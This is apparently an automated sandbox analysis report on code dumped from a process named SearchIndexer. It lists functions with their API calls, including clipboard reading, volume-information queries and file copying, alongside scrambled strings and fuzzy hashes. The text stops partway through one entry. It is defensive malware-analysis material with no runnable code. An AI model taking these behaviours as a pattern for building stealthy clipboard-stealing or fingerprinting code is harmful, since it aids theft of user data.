Opcode Fuzzy Hash: 2fd67cec76d906a4155f81f12b1c092e610f7045f13b0bcb135e918dccfdb16c
Instruction Fuzzy Hash: 7B21DE75208241EBC72AEF08D4B1A3EF3AAFF95301F55C90CD08A87259C7329891CF96

Function 0036B891 Relevance: 1.3, Strings: 1, Instructions: 89COMMON

Download Yara Rule

Strings

4`[b, xrefs: 0036B870

Memory Dump Source

Source File: 0000000C.00000002.2283882932.0000000000331000.00000020.00000001.01000000.00000000.sdmp, Offset: 00331000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_331000_SearchIndexer.jbxd

Similarity

API ID:
String ID: 4`[b
API String ID: 0-3962175265
Opcode ID: 402d87366ec27e2ed156fd4c65e59ccc9306f5c9bf2847cb8e573f19a1fa1a96
Instruction ID: 05278051b6fcd92223725857ae0e97f9b90015d295df50c44031095821f9842b
Opcode Fuzzy Hash: 402d87366ec27e2ed156fd4c65e59ccc9306f5c9bf2847cb8e573f19a1fa1a96
Instruction Fuzzy Hash: B1319C7420C280CBD31ADF04D5A162AF7E6EF95705F15CA1DD0CA87356C730A891CF96

Function 00366070 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2283882932.0000000000331000.00000020.00000001.01000000.00000000.sdmp, Offset: 00331000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_331000_SearchIndexer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ffbf60736a26bc4d13da29b657805258c0b536f50566089487130d7db862657c
Instruction ID: 1342c93f030e587b373557a948096c253d4f2cdc28a12531a1ea9c3c315db7f3
Opcode Fuzzy Hash: ffbf60736a26bc4d13da29b657805258c0b536f50566089487130d7db862657c
Instruction Fuzzy Hash: 8A318F32A0C7044BC3165F358C9226FB692DBC7760F2EC63DD9A68B7C6DA355C019381

Function 0036B954 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2283882932.0000000000331000.00000020.00000001.01000000.00000000.sdmp, Offset: 00331000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_331000_SearchIndexer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6cb03fa4bd1ca53b90965cfdab2db1a71179f63f5c383638797cc1e9095f2f3
Instruction ID: f16f6dced7a94f31af60750f093e2ec93a448d36d3f41193054086c9dd2db29b
Opcode Fuzzy Hash: b6cb03fa4bd1ca53b90965cfdab2db1a71179f63f5c383638797cc1e9095f2f3
Instruction Fuzzy Hash: 9011A9B06083018BD315DF08D894B2BFBE1EB95354F148C1CE098DB292D730D888CFA6

Function 003656CE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 94
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32(3165379D), ref: 00365733
SysAllocString.OLEAUT32(3165379D), ref: 003657EF

Strings

d32, xrefs: 003656D6

Memory Dump Source

Source File: 0000000C.00000002.2283882932.0000000000331000.00000020.00000001.01000000.00000000.sdmp, Offset: 00331000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_331000_SearchIndexer.jbxd

Similarity

API ID: AllocString
String ID: d32
API String ID: 2525500382-552389709
Opcode ID: c16252654f9e83826160a1f44ef6bacf2a903a825ea72451546f68361c457128
Instruction ID: 875e8714c83e97fcc91fba726f2697f30fc575d68b07945544edbf1a604a8a2d
Opcode Fuzzy Hash: c16252654f9e83826160a1f44ef6bacf2a903a825ea72451546f68361c457128
Instruction Fuzzy Hash: DE31FBB420C7809FE361EF28C494A1EBBF4AF96344F50591DE2C58B321C7759842CF5A

Function 0033A8C0 Relevance: 4.5, APIs: 3, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0033A8D9
ExitProcess.KERNEL32 ref: 0033A92E

Memory Dump Source

Source File: 0000000C.00000002.2283882932.0000000000331000.00000020.00000001.01000000.00000000.sdmp, Offset: 00331000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_331000_SearchIndexer.jbxd

Similarity

API ID: Process$CurrentExit
String ID:
API String ID: 2333725396-0
Opcode ID: ba0cb984aed7bcc2a64ba02ab4fdef94f0a2e6ab81d60ee54b98adc1e8579bad
Instruction ID: df4a923aea4b21b62b7fb045389f05b0ac47f38eb2049b78ca8bb213205253bb
Opcode Fuzzy Hash: ba0cb984aed7bcc2a64ba02ab4fdef94f0a2e6ab81d60ee54b98adc1e8579bad
Instruction Fuzzy Hash: 00F0E231428E0CC2CA173B30999A36D7B9C5F12354F134126F8C77D511DB6449426BA3

Function 00365871 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 56
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantInit.OLEAUT32(?), ref: 00365876

Strings

p=5w, xrefs: 00365876

Memory Dump Source

Source File: 0000000C.00000002.2283882932.0000000000331000.00000020.00000001.01000000.00000000.sdmp, Offset: 00331000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_331000_SearchIndexer.jbxd

Similarity

API ID: InitVariant
String ID: p=5w
API String ID: 1927566239-177745770
Opcode ID: 4cd1e2f48978441ac1eab9d6c742dedbd31d6849350136f34962fd47e1605358
Instruction ID: 6c7dcc3f4079bbc81b917d504c27d0657d25944f5361a6d695896dd9473720b2
Opcode Fuzzy Hash: 4cd1e2f48978441ac1eab9d6c742dedbd31d6849350136f34962fd47e1605358
Instruction Fuzzy Hash: 2B11F2B12187409FE314DF64C494B6FBBF5AFC1714F508A1CF5A64B291C7B59441CB82

Function 00364012 Relevance: 3.1, APIs: 2, Instructions: 81
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00364012
GetUserDefaultUILanguage.KERNELBASE ref: 0036404A

Memory Dump Source

Source File: 0000000C.00000002.2283882932.0000000000331000.00000020.00000001.01000000.00000000.sdmp, Offset: 00331000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_331000_SearchIndexer.jbxd

Similarity

API ID: CurrentDefaultLanguageProcessUser
String ID:
API String ID: 4043730634-0
Opcode ID: 9acf448acdc05a00bb4554e2678cc25e9806940fd89c21af0778bd5122fde08b
Instruction ID: e421f5b868bb902a729264acbb51cde4af4542ef9a4f4c79f6064de39545d78a
Opcode Fuzzy Hash: 9acf448acdc05a00bb4554e2678cc25e9806940fd89c21af0778bd5122fde08b
Instruction Fuzzy Hash: FA319AB48082408FDB01EF68E95175EBFB0EB16305F15885CE889AB342E6359A489B33

Function 00365CD7 Relevance: 3.0, APIs: 2, Instructions: 31
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysFreeString.OLEAUT32(?), ref: 00365CF1
GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 00365D2A

Memory Dump Source

Source File: 0000000C.00000002.2283882932.0000000000331000.00000020.00000001.01000000.00000000.sdmp, Offset: 00331000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_331000_SearchIndexer.jbxd

Similarity

API ID: FreeInformationStringVolume
String ID:
API String ID: 983506298-0
Opcode ID: aa0457467475a71c74bb274f74d37f3140fbfc4972df483f01f9c5a28137fc28
Instruction ID: 173a2458948fcaaa0e22c55a67bce6c7736b87862196d3a356618459afa77d9b
Opcode Fuzzy Hash: aa0457467475a71c74bb274f74d37f3140fbfc4972df483f01f9c5a28137fc28
Instruction Fuzzy Hash: 0BF05875245341FFE7209F60DC5AF0A77A8AF88719F205818F94AAB2E1CB75F842CA15

Function 003655E9 Relevance: 1.6, APIs: 1, Instructions: 60
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32 ref: 00365676

Memory Dump Source

Source File: 0000000C.00000002.2283882932.0000000000331000.00000020.00000001.01000000.00000000.sdmp, Offset: 00331000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_331000_SearchIndexer.jbxd

Similarity

API ID: AllocString
String ID:
API String ID: 2525500382-0
Opcode ID: 15b9d0b2f689a6dc5b68fe8225f51e181885335153b3fa785f186332a162eeeb
Instruction ID: 780def80e95f66aca8bcd77644b1bfccd7188a0431a302b2db897738d99a94af
Opcode Fuzzy Hash: 15b9d0b2f689a6dc5b68fe8225f51e181885335153b3fa785f186332a162eeeb
Instruction Fuzzy Hash: 661148B46086419FD355EF29C884A2EBBF1FB96704F98592CE2C587265CB399842CF02

Function 0036A7A6 Relevance: 1.6, APIs: 1, Instructions: 60
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE(C754C5A7,00000000,00000800), ref: 0036A82F

Memory Dump Source

Source File: 0000000C.00000002.2283882932.0000000000331000.00000020.00000001.01000000.00000000.sdmp, Offset: 00331000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_331000_SearchIndexer.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 5698419b4c8b00769d284bcc2132d2ecba5899eb976e20488d69533c33b70ae9
Instruction ID: 455ac92ce8641220234db75d034b3048a2eb7241f1d8f9ee3eade7151c27f0ee
Opcode Fuzzy Hash: 5698419b4c8b00769d284bcc2132d2ecba5899eb976e20488d69533c33b70ae9
Instruction Fuzzy Hash: 34212FB211C380AFD311CF29999062FBBE5AB85744F648C1CE0E997251D334DA0ADF96

Function 003690A0 Relevance: 1.5, APIs: 1, Instructions: 46
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(?,00000000), ref: 00369109

Memory Dump Source

Source File: 0000000C.00000002.2283882932.0000000000331000.00000020.00000001.01000000.00000000.sdmp, Offset: 00331000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_331000_SearchIndexer.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 03500cea31291825035e3484ce2dc531f8e2cc4d1f130f8ae22ba76ad65e6288
Instruction ID: 5565addd971f87b9807d883c13291102bea9728a568cf32e0fb7adc1a5eade3e
Opcode Fuzzy Hash: 03500cea31291825035e3484ce2dc531f8e2cc4d1f130f8ae22ba76ad65e6288
Instruction Fuzzy Hash: 43014B7020C240DBD71ADF14C5A0B2ABBF6EB95714F258A5DD5CA037A1C6369816CB42

Function 00369000 Relevance: 1.5, APIs: 1, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 0036906F

Memory Dump Source

Source File: 0000000C.00000002.2283882932.0000000000331000.00000020.00000001.01000000.00000000.sdmp, Offset: 00331000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_331000_SearchIndexer.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ebf0981002bcc262838830bcbfb4948ff39c69017e3871eaed8a90c11b5dbf02
Instruction ID: 03bc4bcdb2975552a3d350df79fb32e9a1cd71d08158b17bf2f7d6b6142eab1c
Opcode Fuzzy Hash: ebf0981002bcc262838830bcbfb4948ff39c69017e3871eaed8a90c11b5dbf02
Instruction Fuzzy Hash: FCF0C47450C240AFD346EF08C591B1EBBE5EB99704F448D5DE4D887262C236E825CF96

Function 0036B290 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(00369589,?,00000001,E29D9C9F), ref: 0036B2BE

Memory Dump Source

Source File: 0000000C.00000002.2283882932.0000000000331000.00000020.00000001.01000000.00000000.sdmp, Offset: 00331000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_331000_SearchIndexer.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b66ff63dfd389af1bc8afcc0025f999e8b2b47508af02e865142dda64173a8e3
Instruction ID: fb6f357373f259be8b0e83fffc5d2a3912a28e0da7d2036ce94b71e982b3a7e9
Opcode Fuzzy Hash: b66ff63dfd389af1bc8afcc0025f999e8b2b47508af02e865142dda64173a8e3
Instruction Fuzzy Hash: 76E0FE75908316AB9A09CF45C14444EFBE5BFC4714F11CC8DA4D867210D3B0AD46DF82

Non-executed Functions

Function 003316E9 Relevance: 72.8, Strings: 58, Instructions: 309COMMON

Download Yara Rule

Strings

R&IH, xrefs: 00331D9D
CBEg, xrefs: 00331DBB
fj`l, xrefs: 00331C2B
PAIB, xrefs: 00331F55
54KJ, xrefs: 00331F41
]\SR, xrefs: 00331F7D
~9=u, xrefs: 003320F9
MLSB, xrefs: 00331C85
bnl`, xrefs: 00331C35
@H[O, xrefs: 00331F69
E@IB, xrefs: 00331FF5
Tq}|, xrefs: 00331D2F
gvip, xrefs: 00332045
T(bc, xrefs: 00331D4D
10,0, xrefs: 00331F37
A@JW, xrefs: 00331F5F
SR]X, xrefs: 0033201D
nbhd, xrefs: 00331C3F
ACDJ, xrefs: 00331FFF
6)%2, xrefs: 003320CF
LMyg, xrefs: 00331CFD
IHON, xrefs: 00331F4B
w, xrefs: 0033206D
|}3 , xrefs: 00331D25
DEz{, xrefs: 00331D11
"#&$, xrefs: 00331E5B
EBCB, xrefs: 00331FEB
kJmD, xrefs: 0033204F
ki{z, xrefs: 00331FB9
JIcb, xrefs: 00331FA5
:$32, xrefs: 00331F2D
MIVR, xrefs: 00332009
usj}, xrefs: 00331DED
}@EF, xrefs: 00331C8F
[ZS[, xrefs: 00332027
YX_^, xrefs: 00331F73
lEgf, xrefs: 00331FAF
izml, xrefs: 00331DCF
YXgc, xrefs: 00332031
7298, xrefs: 00331E8D
Jlon, xrefs: 00331F9B
"bmn, xrefs: 00331E65
.)./, xrefs: 00331E6F
98?>, xrefs: 00331F23
hiV , xrefs: 00331D43
~~}|, xrefs: 00331DF7
30eg, xrefs: 00331DE3
UTBE, xrefs: 00331F91
onrs, xrefs: 00331DD9
.+45, xrefs: 00331E79
QRUP, xrefs: 00332013
/&0#, xrefs: 003320D6
TG@@, xrefs: 00331C7B
ebel, xrefs: 0033203B
}|sr, xrefs: 00331C5D
wpov, xrefs: 00331C67
QPWV, xrefs: 00331F87
dej,, xrefs: 00331DC5

Memory Dump Source

Source File: 0000000C.00000002.2283882932.0000000000331000.00000020.00000001.01000000.00000000.sdmp, Offset: 00331000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_331000_SearchIndexer.jbxd

Similarity

API ID:
String ID: "#&$$"bmn$.)./$.+45$/&0#$10,0$30eg$54KJ$6)%2$7298$98?>$:$32$@H[O$A@JW$ACDJ$CBEg$DEz{$E@IB$EBCB$IHON$JIcb$Jlon$LMyg$MIVR$MLSB$PAIB$QPWV$QRUP$R&IH$SR]X$T(bc$TG@@$Tq}|$UTBE$YX_^$YXgc$[ZS[$]\SR$bnl`$dej,$ebel$fj`l$gvip$hiV $izml$kJmD$ki{z$lEgf$nbhd$onrs$usj}$w$wpov$|}3 $}@EF$}|sr$~9=u$~~}|
API String ID: 0-3764515875
Opcode ID: cc20242c78e4124051a504c23261f9099de2438f544cd56129c2f9615dc6435c
Instruction ID: 82c56b4f719756fe3b77df7547ba80b1d38fbe54128c6adacfb8bf436966e606
Opcode Fuzzy Hash: cc20242c78e4124051a504c23261f9099de2438f544cd56129c2f9615dc6435c
Instruction Fuzzy Hash: 3132A4B4C062A9CADB61CF869A957CDBB70BB16744F6182C8C26D3B315C7750AC2CF85

Function 0033B1D0 Relevance: 14.1, Strings: 11, Instructions: 370COMMON

Download Yara Rule

Strings

d{ru, xrefs: 0033B3CB
0, xrefs: 0033B224
?, xrefs: 0033B4AB
^, xrefs: 0033B5DD
%, xrefs: 0033B3D3
%$, xrefs: 0033B62A
^4X6, xrefs: 0033B5FE
#3&X, xrefs: 0033B2B6
|kpc, xrefs: 0033B3C3
|p, xrefs: 0033B5A2
R<l>, xrefs: 0033B614

Memory Dump Source

Source File: 0000000C.00000002.2283882932.0000000000331000.00000020.00000001.01000000.00000000.sdmp, Offset: 00331000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_331000_SearchIndexer.jbxd

Similarity

API ID:
String ID: #3&X$%$%$$0$?$R<l>$^$^4X6$d{ru$|kpc$|p
API String ID: 0-758932625
Opcode ID: 32a0161ee7e2388ea54f970243cbd3ab87e820c0003944f8c969d4c26890503f
Instruction ID: 89eb4a6328f72db0078d1a54b7088a6bc5610822fa8b71e2adde58edb9c76ecc
Opcode Fuzzy Hash: 32a0161ee7e2388ea54f970243cbd3ab87e820c0003944f8c969d4c26890503f
Instruction Fuzzy Hash: 11E122B420C3809BD316DF19C490A2FFBE5EF99748F148A1CE1D98B3A2C735A855CB56

Function 00360450 Relevance: 9.3, APIs: 6, Instructions: 271clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00360472
GetWindowLongW.USER32 ref: 0036049D
GetClipboardData.USER32 ref: 003604AD
CloseClipboard.USER32 ref: 0036080E

Memory Dump Source

Source File: 0000000C.00000002.2283882932.0000000000331000.00000020.00000001.01000000.00000000.sdmp, Offset: 00331000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_331000_SearchIndexer.jbxd

Similarity

API ID: Clipboard$CloseDataLongOpenWindow
String ID:
API String ID: 1647500905-0
Opcode ID: 630d0db398b31fc92fb205230168091d96736657d517b622aa1069acb0559fd1
Instruction ID: 6c329fd7e3d42a32064d45a85c57dc54d5269871a9effad588bf04b710ce7a24
Opcode Fuzzy Hash: 630d0db398b31fc92fb205230168091d96736657d517b622aa1069acb0559fd1
Instruction Fuzzy Hash: CFA1C4F2D187408BE7057B78ED0332F7EE09B51324F058A2DD0AACB6C6E67485589B63

Function 00357560 Relevance: 9.0, Strings: 7, Instructions: 229COMMON

Download Yara Rule

Strings

4!?, xrefs: 003576D9
OUZt, xrefs: 00357751
+OCh, xrefs: 003577AB
31(O, xrefs: 00357701
,76=, xrefs: 003576F7
lb]H, xrefs: 003577B5
T[V], xrefs: 00357747

Memory Dump Source

Source File: 0000000C.00000002.2283882932.0000000000331000.00000020.00000001.01000000.00000000.sdmp, Offset: 00331000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_331000_SearchIndexer.jbxd

Similarity

API ID:
String ID: +OCh$,76=$31(O$4!?$OUZt$T[V]$lb]H
API String ID: 0-4186108424
Opcode ID: d55f9a9fd648da71b5c03333398e89d4df59f24661c49a501046d843da874c69
Instruction ID: 6df0b1d424e6c3b19a5d157dbb7e7b5e6183a77f11ee283536a23aea86d43628
Opcode Fuzzy Hash: d55f9a9fd648da71b5c03333398e89d4df59f24661c49a501046d843da874c69
Instruction Fuzzy Hash: 27914870049B828BD3268F3594A4BA3BBE2AF52306F18895DC4FF1B392D7356409CF95

Function 0035C4D9 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 231COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 0035C4E3
VariantInit.OLEAUT32 ref: 0035C4F6

Strings

p=5w, xrefs: 0035C4F6

Memory Dump Source

Source File: 0000000C.00000002.2283882932.0000000000331000.00000020.00000001.01000000.00000000.sdmp, Offset: 00331000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_331000_SearchIndexer.jbxd

Similarity

API ID: Variant$ClearInit
String ID: p=5w
API String ID: 2610073882-177745770
Opcode ID: d8aef18994710dcaaf0f18e02344729777d42992df66d4a43bfa7d95d7a22674
Instruction ID: 0ca9d99c391d10a9fbba168da7177c7956f2529dbc90a0eb0b863422b2354490
Opcode Fuzzy Hash: d8aef18994710dcaaf0f18e02344729777d42992df66d4a43bfa7d95d7a22674
Instruction Fuzzy Hash: BAB1F4B504E7C48EE321AF64E62279FBAE4AFA1305F069C5DE1D94B206C6749148EB13

Function 0035CEEB Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 226COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 0035CEF5
VariantInit.OLEAUT32 ref: 0035CF08

Strings

p=5w, xrefs: 0035CF08

Memory Dump Source

Source File: 0000000C.00000002.2283882932.0000000000331000.00000020.00000001.01000000.00000000.sdmp, Offset: 00331000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_331000_SearchIndexer.jbxd

Similarity

API ID: Variant$ClearInit
String ID: p=5w
API String ID: 2610073882-177745770
Opcode ID: fd6aa4459efd76adb4eb160023d6f1db7197c6c3672824d853bf64c5958b76d7
Instruction ID: efb2c1acb9cc9e8f8eac07129e1b297a585ff73b67d0e69db2cf291e64537594
Opcode Fuzzy Hash: fd6aa4459efd76adb4eb160023d6f1db7197c6c3672824d853bf64c5958b76d7
Instruction Fuzzy Hash: FAA119B211D7C08ED319AFB4C51639FBAE1ABA1705F058C2DD1EA8B342CAB4D544EB17

Function 00351575 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 49fileCOMMON

Download Yara Rule

APIs

CopyFileW.KERNEL32(?,01DA1FDD,00000000), ref: 00351616

Strings

&', xrefs: 003515C5

Memory Dump Source

Source File: 0000000C.00000002.2283882932.0000000000331000.00000020.00000001.01000000.00000000.sdmp, Offset: 00331000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_331000_SearchIndexer.jbxd

Similarity

API ID: CopyFile
String ID: &'
API String ID: 1304948518-655172784
Opcode ID: 1cc15eafe6d0ecd034557f2b7f9735dfb94335ac19d39029e594107bb4ac8bcd
Instruction ID: 38cdbdc394bc6f41beaa4b0803b51415bcb4f0ddb4ad0cdff08462107b7d34e5
Opcode Fuzzy Hash: 1cc15eafe6d0ecd034557f2b7f9735dfb94335ac19d39029e594107bb4ac8bcd
Instruction Fuzzy Hash: 121134B564D380AFD211EF19D481A2EBBF8AB92748F40290CF1C586261C3B5D8558F16

Function 00358CB7 Relevance: 2.9, Strings: 2, Instructions: 403COMMON

Download Yara Rule

Strings

whV\, xrefs: 003591E2
*LRg, xrefs: 003591D8

Memory Dump Source

Source File: 0000000C.00000002.2283882932.0000000000331000.00000020.00000001.01000000.00000000.sdmp, Offset: 00331000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_331000_SearchIndexer.jbxd

Similarity

API ID:
String ID: *LRg$whV\
API String ID: 0-604921913
Opcode ID: 2b7cd2a0dd4fea310cfe6d1a3eb154d09d713b2e25c35e3033bff2e7dd937366
Instruction ID: 9db51276f23c45bfcb265b9e9568aacc67388606a4b605f02f59ca77c48a55fc
Opcode Fuzzy Hash: 2b7cd2a0dd4fea310cfe6d1a3eb154d09d713b2e25c35e3033bff2e7dd937366
Instruction Fuzzy Hash: 76E18D30105B81CED366CF29C050BA6FBF1AF56305F54889EC8EB9BAA2C775B449CB54

Function 00358FE9 Relevance: 2.8, Strings: 2, Instructions: 346COMMON

Download Yara Rule

Strings

whV\, xrefs: 003591E2
*LRg, xrefs: 003591D8

Memory Dump Source

Source File: 0000000C.00000002.2283882932.0000000000331000.00000020.00000001.01000000.00000000.sdmp, Offset: 00331000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_331000_SearchIndexer.jbxd

Similarity

API ID:
String ID: *LRg$whV\
API String ID: 0-604921913
Opcode ID: abdeca65de15e2df4a7ce5ccb88e36e4315f30ad5cdf1bc5c3b10b83ea14850d
Instruction ID: 4c1114c345b973b7fb41061737ef2059efbcdb5788717fac98edf55c9850de8f
Opcode Fuzzy Hash: abdeca65de15e2df4a7ce5ccb88e36e4315f30ad5cdf1bc5c3b10b83ea14850d
Instruction Fuzzy Hash: 88C17D70104B81CED366CF29C050BA6FBF1AF46305F54886ED8EB9BAA2C775A449CB54

Function 003456DF Relevance: 2.8, Strings: 2, Instructions: 345COMMON

Download Yara Rule

Strings

[)*+, xrefs: 00345F98
]^, xrefs: 003458F9

Memory Dump Source

Source File: 0000000C.00000002.2283882932.0000000000331000.00000020.00000001.01000000.00000000.sdmp, Offset: 00331000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_331000_SearchIndexer.jbxd

Similarity

API ID:
String ID: [)*+$]^
API String ID: 0-3705510017
Opcode ID: e99fbed4b819b9bfeab37671d358973edb6cea729837eb080284aa1a7b3a9b4f
Instruction ID: eff2cf359f8c930f91027bfbea054d3b3344ea0be9793c587befbf240b9db521
Opcode Fuzzy Hash: e99fbed4b819b9bfeab37671d358973edb6cea729837eb080284aa1a7b3a9b4f
Instruction Fuzzy Hash: D1C174B050C3808BD309EF18D891A6EBBE1EF95348F580E1CE5D58B352D734AA49CB97

Function 0034DE10 Relevance: 2.7, Strings: 2, Instructions: 157COMMON

Download Yara Rule

Strings

+w5q, xrefs: 0034DFC6
sm, xrefs: 0034DF27

Memory Dump Source

Source File: 0000000C.00000002.2283882932.0000000000331000.00000020.00000001.01000000.00000000.sdmp, Offset: 00331000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_331000_SearchIndexer.jbxd

Similarity

API ID:
String ID: +w5q$sm
API String ID: 0-573028251
Opcode ID: ef80578fbf78830188a8f07cb8b087ed12b3a915cac50998bdf2cfce6bf98c6b
Instruction ID: ad56b922dcd0e0b10a01e077fccbd2338a73befee2b87f50e4c314889a357eaa
Opcode Fuzzy Hash: ef80578fbf78830188a8f07cb8b087ed12b3a915cac50998bdf2cfce6bf98c6b
Instruction Fuzzy Hash: 926132B010C3419BC315DF15D890A1EFBF0AF96B08F109A0CE5D91B390C375A949CF9A

Function 0036BBD3 Relevance: 2.6, Strings: 2, Instructions: 142COMMON

Download Yara Rule

Strings

@, xrefs: 0036B543
', xrefs: 0036BBEB

Memory Dump Source

Source File: 0000000C.00000002.2283882932.0000000000331000.00000020.00000001.01000000.00000000.sdmp, Offset: 00331000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_331000_SearchIndexer.jbxd

Similarity

API ID:
String ID: '$@
API String ID: 0-1742227185
Opcode ID: 919fcbf51a44ad66b9b3e292f0a48c8d95b84d2ec7246f05aabeaa757bebc149
Instruction ID: f272ca5d340ee82102390ed9c5874e603f2fc1f32cd71ed3240c6024115bf737
Opcode Fuzzy Hash: 919fcbf51a44ad66b9b3e292f0a48c8d95b84d2ec7246f05aabeaa757bebc149
Instruction Fuzzy Hash: C74144B41183428BC305DF19C0A062AFBF1FF86308F19980DE1C69B250E738D986DF56

Function 00344A8C Relevance: 2.6, Strings: 2, Instructions: 111COMMON

Download Yara Rule

Strings

4`[b, xrefs: 00344B00
4`[b, xrefs: 00344BB0

Memory Dump Source

Source File: 0000000C.00000002.2283882932.0000000000331000.00000020.00000001.01000000.00000000.sdmp, Offset: 00331000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_331000_SearchIndexer.jbxd

Similarity

API ID:
String ID: 4`[b$4`[b
API String ID: 0-3640500014
Opcode ID: 64005ccd3222380334ac515433d1c2fbe386aa2a4b5a3f571b12e8b4f90b38f6
Instruction ID: 1e7f9a04ff52575de414da07d40f7e856b1fc828efcc880dd112772af42216a8
Opcode Fuzzy Hash: 64005ccd3222380334ac515433d1c2fbe386aa2a4b5a3f571b12e8b4f90b38f6
Instruction Fuzzy Hash: 9641CE34208241CBD72ADF18E4B1B3EB7E6EF95700F564A2CE4C61B651D332E891CB92

Function 00354CC0 Relevance: 1.7, Strings: 1, Instructions: 430COMMON

Download Yara Rule

Strings

", xrefs: 00354FB8

Memory Dump Source

Source File: 0000000C.00000002.2283882932.0000000000331000.00000020.00000001.01000000.00000000.sdmp, Offset: 00331000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_331000_SearchIndexer.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 07403f71818bca10b3928511b4bbdbd1c205e08f64ec497981d5f53d12983ea8
Instruction ID: 24a2a325bffd16ea265075d34cfc02e8915c35a50cf65e7e3a8434fc7a51d757
Opcode Fuzzy Hash: 07403f71818bca10b3928511b4bbdbd1c205e08f64ec497981d5f53d12983ea8
Instruction Fuzzy Hash: A3D12872A087505BCB1ACE24D491F6BB7E9AF84315F09852DEC898B3A2D734ED48C7D1

Function 0036E370 Relevance: 1.5, Strings: 1, Instructions: 292COMMON

Download Yara Rule

Strings

nolm, xrefs: 0036E3A6

Memory Dump Source

Source File: 0000000C.00000002.2283882932.0000000000331000.00000020.00000001.01000000.00000000.sdmp, Offset: 00331000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_331000_SearchIndexer.jbxd

Similarity

API ID:
String ID: nolm
API String ID: 0-1132325503
Opcode ID: 8a17ac49bb085d3c99db5d8ef0a6172501ff4c5f49251e5dbda0340e7ecb76af
Instruction ID: 58f2ac88227611cb767c0f55b003b5de345d869b40ff0016ce962ce64d5238fa
Opcode Fuzzy Hash: 8a17ac49bb085d3c99db5d8ef0a6172501ff4c5f49251e5dbda0340e7ecb76af
Instruction Fuzzy Hash: A791BD382083429BC726DF28D490A2BB3F1EF89744F19C82CE9858B355E731EC55CB92

Function 0036DD70 Relevance: 1.5, Strings: 1, Instructions: 289COMMON

Download Yara Rule

Strings

nolm, xrefs: 0036DDA6

Memory Dump Source

Source File: 0000000C.00000002.2283882932.0000000000331000.00000020.00000001.01000000.00000000.sdmp, Offset: 00331000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_331000_SearchIndexer.jbxd

Similarity

API ID: InitializeThunk
String ID: nolm
